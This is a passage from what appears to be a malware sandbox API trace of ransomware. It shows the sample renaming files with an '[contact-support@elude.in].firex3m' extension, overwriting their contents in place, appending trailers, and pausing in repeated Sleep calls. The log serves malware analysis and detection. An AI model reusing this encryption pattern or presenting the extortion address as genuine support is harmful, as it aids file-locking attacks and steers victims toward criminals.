nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5540 [0087.340] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0087.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0087.340] GetProcessHeap () returned 0x630000 [0087.340] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6eef110 [0087.341] GetProcessHeap () returned 0x630000 [0087.341] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6efa540 [0087.342] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.342] ReadFile (in: hFile=0x670, lpBuffer=0x6eef110, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eef110*, lpNumberOfBytesRead=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0090.796] GetProcessHeap () returned 0x630000 [0090.796] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8848 [0090.796] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.796] WriteFile (in: hFile=0x670, lpBuffer=0x6efa540*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efa540*, lpNumberOfBytesWritten=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0090.796] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.796] WriteFile (in: hFile=0x670, lpBuffer=0x6f0593f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0593f*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0090.797] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.797] WriteFile (in: hFile=0x670, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0090.797] CloseHandle (hObject=0x670) returned 1 [0091.914] GetProcessHeap () returned 0x630000 [0091.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efa540 | out: hHeap=0x630000) returned 1 [0091.914] GetProcessHeap () returned 0x630000 [0091.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eef110 | out: hHeap=0x630000) returned 1 [0091.915] GetProcessHeap () returned 0x630000 [0091.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8848 | out: hHeap=0x630000) returned 1 [0091.915] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.915] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfcbac2f4, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x1220a, dwReserved0=0xb847496, dwReserved1=0x6eef108, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d52c0 [0091.915] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0091.915] Sleep (dwMilliseconds=0x1) [0093.595] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\588bce7c90097ed212\\header.bmp", len=0x20 | out: pbstr=0x4abff7c*="C:\\588bce7c90097ed212\\header.bmp") returned 1 [0093.595] GetProcessHeap () returned 0x630000 [0093.595] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x690878, Size=0x70) returned 0x6ff0e08 [0093.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0093.595] CloseHandle (hObject=0x700) returned 1 [0093.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.671] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\header.bmp.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.672] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.bmp.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HEADER~1.FIR")) returned 0x6d5440 [0093.672] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0093.672] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0093.672] GetProcessHeap () returned 0x630000 [0093.672] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe41) returned 0x727d80 [0093.672] GetProcessHeap () returned 0x630000 [0093.672] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe41) returned 0x6ed4d28 [0093.672] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.672] ReadFile (in: hFile=0x700, lpBuffer=0x727d80, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x4abff0c*=0xe20, lpOverlapped=0x0) returned 1 [0093.687] GetProcessHeap () returned 0x630000 [0093.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0093.687] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.687] WriteFile (in: hFile=0x700, lpBuffer=0x6ed4d28*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed4d28*, lpNumberOfBytesWritten=0x4abff0c*=0xe20, lpOverlapped=0x0) returned 1 [0093.687] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.687] WriteFile (in: hFile=0x700, lpBuffer=0x6ed5b47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed5b47*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.688] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.688] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.688] CloseHandle (hObject=0x700) returned 1 [0093.689] GetProcessHeap () returned 0x630000 [0093.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed4d28 | out: hHeap=0x630000) returned 1 [0093.689] GetProcessHeap () returned 0x630000 [0093.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0093.689] GetProcessHeap () returned 0x630000 [0093.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0093.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.689] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0xfdcaaf98, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xe50, dwReserved0=0xb847496, dwReserved1=0x727d78, cFileName="header.bmp.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HEADER~1.FIR")) returned 0x6d5200 [0093.689] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0093.689] Sleep (dwMilliseconds=0x1) [0093.698] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\warn.ico", len=0x27 | out: pbstr=0x4abff7c*="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 1 [0093.698] GetProcessHeap () returned 0x630000 [0093.698] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ff0e08, Size=0x6c) returned 0x6ff16f0 [0093.698] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0093.699] CloseHandle (hObject=0x700) returned 1 [0093.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.699] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.699] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WARNIC~1.FIR")) returned 0x6d53c0 [0093.699] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0093.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0093.700] GetProcessHeap () returned 0x630000 [0093.700] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x27a1) returned 0x6f8f5f0 [0093.700] GetProcessHeap () returned 0x630000 [0093.700] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x27a1) returned 0x71ed108 [0093.700] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.700] ReadFile (in: hFile=0x700, lpBuffer=0x6f8f5f0, nNumberOfBytesToRead=0x2780, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8f5f0*, lpNumberOfBytesRead=0x4abff0c*=0x2780, lpOverlapped=0x0) returned 1 [0095.848] GetProcessHeap () returned 0x630000 [0095.848] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8b90 [0095.848] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.848] WriteFile (in: hFile=0x700, lpBuffer=0x71ed108*, nNumberOfBytesToWrite=0x2780, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ed108*, lpNumberOfBytesWritten=0x4abff0c*=0x2780, lpOverlapped=0x0) returned 1 [0095.849] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.849] WriteFile (in: hFile=0x700, lpBuffer=0x71ef887*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ef887*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0095.849] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.849] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0095.849] CloseHandle (hObject=0x700) returned 1 [0095.850] GetProcessHeap () returned 0x630000 [0095.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71ed108 | out: hHeap=0x630000) returned 1 [0095.850] GetProcessHeap () returned 0x630000 [0095.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f8f5f0 | out: hHeap=0x630000) returned 1 [0095.850] GetProcessHeap () returned 0x630000 [0095.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8b90 | out: hHeap=0x630000) returned 1 [0095.850] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0095.851] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xff13b724, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0xb847496, dwReserved1=0x6f8f5e8, cFileName="warn.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WARNIC~1.FIR")) returned 0x6d5480 [0095.851] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0095.851] Sleep (dwMilliseconds=0x1) [0097.884] Sleep (dwMilliseconds=0x1) [0099.477] Sleep (dwMilliseconds=0x1) [0100.793] Sleep (dwMilliseconds=0x1) [0101.513] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Boot\\Fonts\\kor_boot.ttf", len=0x1a | out: pbstr=0x4abff7c*="C:\\Boot\\Fonts\\kor_boot.ttf") returned 1 [0101.513] GetProcessHeap () returned 0x630000 [0101.513] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x14) returned 0x6b04f8 [0101.513] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.334] Sleep (dwMilliseconds=0x1) [0102.352] Sleep (dwMilliseconds=0x1) [0102.377] Sleep (dwMilliseconds=0x1) [0102.380] Sleep (dwMilliseconds=0x1) [0102.396] Sleep (dwMilliseconds=0x1) [0102.431] Sleep (dwMilliseconds=0x1) [0102.459] Sleep (dwMilliseconds=0x1) [0102.474] Sleep (dwMilliseconds=0x1) [0102.489] Sleep (dwMilliseconds=0x1) [0102.505] Sleep (dwMilliseconds=0x1) [0102.520] Sleep (dwMilliseconds=0x1) [0102.539] Sleep (dwMilliseconds=0x1) [0102.555] Sleep (dwMilliseconds=0x1) [0102.568] Sleep (dwMilliseconds=0x1) [0102.584] Sleep (dwMilliseconds=0x1) [0102.598] Sleep (dwMilliseconds=0x1) [0102.615] Sleep (dwMilliseconds=0x1) [0102.631] Sleep (dwMilliseconds=0x1) [0102.663] Sleep (dwMilliseconds=0x1) [0102.676] Sleep (dwMilliseconds=0x1) [0102.755] Sleep (dwMilliseconds=0x1) [0102.770] Sleep (dwMilliseconds=0x1) [0102.788] Sleep (dwMilliseconds=0x1) [0102.806] Sleep (dwMilliseconds=0x1) [0102.818] Sleep (dwMilliseconds=0x1) [0102.884] Sleep (dwMilliseconds=0x1) [0102.900] Sleep (dwMilliseconds=0x1) [0102.928] Sleep (dwMilliseconds=0x1) [0102.943] Sleep (dwMilliseconds=0x1) [0102.958] Sleep (dwMilliseconds=0x1) [0102.974] Sleep (dwMilliseconds=0x1) [0102.989] Sleep (dwMilliseconds=0x1) [0103.005] Sleep (dwMilliseconds=0x1) [0103.020] Sleep (dwMilliseconds=0x1) [0103.088] Sleep (dwMilliseconds=0x1) [0103.098] Sleep (dwMilliseconds=0x1) [0103.115] Sleep (dwMilliseconds=0x1) [0103.129] Sleep (dwMilliseconds=0x1) [0103.152] Sleep (dwMilliseconds=0x1) [0103.165] Sleep (dwMilliseconds=0x1) [0103.184] Sleep (dwMilliseconds=0x1) [0103.192] Sleep (dwMilliseconds=0x1) [0103.209] Sleep (dwMilliseconds=0x1) [0103.223] Sleep (dwMilliseconds=0x1) [0103.239] Sleep (dwMilliseconds=0x1) [0103.264] Sleep (dwMilliseconds=0x1) [0103.271] Sleep (dwMilliseconds=0x1) [0103.293] Sleep (dwMilliseconds=0x1) [0103.303] Sleep (dwMilliseconds=0x1) [0103.319] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Logs\\Key Management Service.evtx", len=0x23 | out: pbstr=0x4abff7c*="C:\\Logs\\Key Management Service.evtx") returned 1 [0103.319] GetProcessHeap () returned 0x630000 [0103.319] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0318, Size=0x10) returned 0x6b1418 [0103.319] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0103.327] CloseHandle (hObject=0x670) returned 1 [0103.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.327] MoveFileW (lpExistingFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), lpNewFileName="C:\\Logs\\Key Management Service.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\key management service.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.367] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.367] FindFirstFileW (in: lpFileName="C:\\Logs\\Key Management Service.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Key Management Service.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KEYMAN~1.FIR")) returned 0x6d5340 [0103.367] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0103.368] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\key management service.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0103.368] GetProcessHeap () returned 0x630000 [0103.368] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70d508 [0103.369] GetProcessHeap () returned 0x630000 [0103.369] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718938 [0103.369] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.369] ReadFile (in: hFile=0x670, lpBuffer=0x70d508, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d508*, lpNumberOfBytesRead=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.395] GetProcessHeap () returned 0x630000 [0110.395] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0110.395] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.395] WriteFile (in: hFile=0x670, lpBuffer=0x718938*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x718938*, lpNumberOfBytesWritten=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.395] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.395] WriteFile (in: hFile=0x670, lpBuffer=0x723d37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x723d37*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0110.395] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.395] WriteFile (in: hFile=0x670, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0110.396] CloseHandle (hObject=0x670) returned 1 [0110.397] GetProcessHeap () returned 0x630000 [0110.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718938 | out: hHeap=0x630000) returned 1 [0110.397] GetProcessHeap () returned 0x630000 [0110.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d508 | out: hHeap=0x630000) returned 1 [0110.397] GetProcessHeap () returned 0x630000 [0110.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0110.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0110.397] FindFirstFileW (in: lpFileName="C:\\Logs\\Key Management Service.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7bfb777, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xb847496, dwReserved1=0x70d500, cFileName="Key Management Service.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KEYMAN~1.FIR")) returned 0x6d5240 [0110.397] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0110.397] Sleep (dwMilliseconds=0x1) [0112.328] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml", len=0x4b | out: 